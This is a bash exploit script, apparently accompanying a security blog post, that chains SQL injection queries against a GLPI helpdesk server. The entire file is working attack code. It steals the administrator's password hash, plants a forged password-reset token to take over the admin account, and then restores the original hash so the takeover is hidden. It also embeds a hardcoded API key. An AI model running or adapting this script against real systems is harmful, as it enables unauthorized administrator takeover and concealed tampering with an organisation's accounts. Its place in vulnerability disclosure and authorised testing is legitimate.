#!/bin/bash

# Definition of global variables required by the script.

## These variables are used to isolate the row related to our user.
export API_KEY="SCRsWImqvFlObIDQsvYcVURvMdzUfktbHJRBb1Nj"
encoded_api_key=$(python3 -c 'print(",".join([str(ord(i)) for i in "'$API_KEY'"]))')

## This variable manages the verbosity of the script.
DEBUG=0

## Target informations.

### Target URL.
TARGET=$1

### Account name of our user.
USERNAME=$2

### Our user's password.
PASSWORD=$3

# Retrieval of information required for the exploit.

## We start by retrieving the database name, as we'll need it in our SQL queries.
query="SELECT DATABASE()"
database=$(python3 exploit.py $TARGET $USERNAME $PASSWORD "$query")
if [ $DEBUG -eq 1 ]
then
    echo "[*] Database name: $database"
fi

# From now on, implemented actions are referred to by steps that correspond to
# the steps in the diagram illustrated in the blogpost.

## Step 1: SQL injection is used to backup the password of the glpi user.

query="SELECT SUBSTR(password, 1,(SELECT IF(GREATEST(LENGTH(password), 214)=214,"
query+=" LENGTH(password), 214))) FROM (SELECT * FROM $database.glpi_users WHERE"
query+=" name=CHAR(103,108,112,105)) AS JUNK"
hashed_password=$(python3 exploit.py $TARGET $USERNAME $PASSWORD "$query")
if [ $DEBUG -eq 1 ]
then
    echo "[*] Query: $query"
    echo "[+] Hashed password: $hashed_password"
fi

## Step 2: We use the SQL injection to set the password_forget_token and
## password_forget_token_date of the administrator (row associated with user glpi).

### The token can be arbitrarily defined, since its validity has not been verified.
### Then, we encode the password reset token.
password_forget_token="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
encoded_password_forget_token=$(python3 -c 'print(",".join([str(ord(i)) for i in "'$password_forget_token'"]))')

### A test is performed on the token's validity date, so a date is generated which
### validates the condition implemented. Then, we encode the token's validity date.
date=$(date +'%Y-%m-%d')
encoded_password_forget_token_date=$(python3 -c 'print(",".join([str(ord(i)) for i in "'$date' 23:59:59"]))')

### We encode our end delimiter to close the query generated by exploit.py earlier
### than expected.
exfiltration_end_delimiter_encoded=$(python3 -c 'print(",".join([str(ord(i)) for i in "EGO_END_DELIMITER"]))')

### We craft a specific query that ignores the end of the query used in exploit.py
query="SELECT 0),CHAR($exfiltration_end_delimiter_encoded)),"
query+="is_active=1,"
query+="password_forget_token=CHAR($encoded_password_forget_token),"
query+="password_forget_token_date=CHAR($encoded_password_forget_token_date) "
query+="WHERE name=CHAR(103,108,112,105) -- -;"
python3 exploit.py $TARGET $USERNAME $PASSWORD "$query" > /dev/null

## Step 3: We realise a password change for the administrator (user glpi).

echo "[!] Request password change manually and login with the new credentials:"
echo "    $TARGET/front/lostpassword.php?password_forget_token=$password_forget_token"
echo "[!] Press enter once you've done so."
read -p "> " junk

## Step 4: Restore previously backed-up administrator password.

### We encode the hash of the administrator's password before restoring it.
encoded_hashed_password=$(python3 -c 'print(",".join([str(ord(i)) for i in "'$hashed_password'"]))')
query="SELECT 0),CHAR($exfiltration_end_delimiter_encoded)),"
query+="password=CHAR($encoded_hashed_password) "
query+="WHERE name=CHAR(103,108,112,105) -- -;"
python3 exploit.py $TARGET $USERNAME $PASSWORD "$query" > /dev/null

### We just add a check to make sure we've correctly restored the administrator
### password.
query="SELECT SUBSTR(password, 1,(SELECT IF(GREATEST(LENGTH(password), 214)=214, "
query+="LENGTH(password), 214))) FROM (SELECT * FROM $database.glpi_users WHERE "
query+="name=CHAR(103,108,112,105)) AS JUNK"
restored_hashed_password=$(python3 exploit.py $TARGET $USERNAME $PASSWORD "$query")
if [ $DEBUG -eq 1 ]
then
    echo "[*] Restored hashed password: $restored_hashed_password"
fi

### The exploit is only considered successful if the administrator's original
### password can be restored.
if [ $hashed_password = $restored_hashed_password ]
then
    echo "[+] Exploit succeeded (and the original password has been restored)."
else
    echo "[?] Exploit success is unconfirmed (password restoration doesn't seem to have worked)."
fi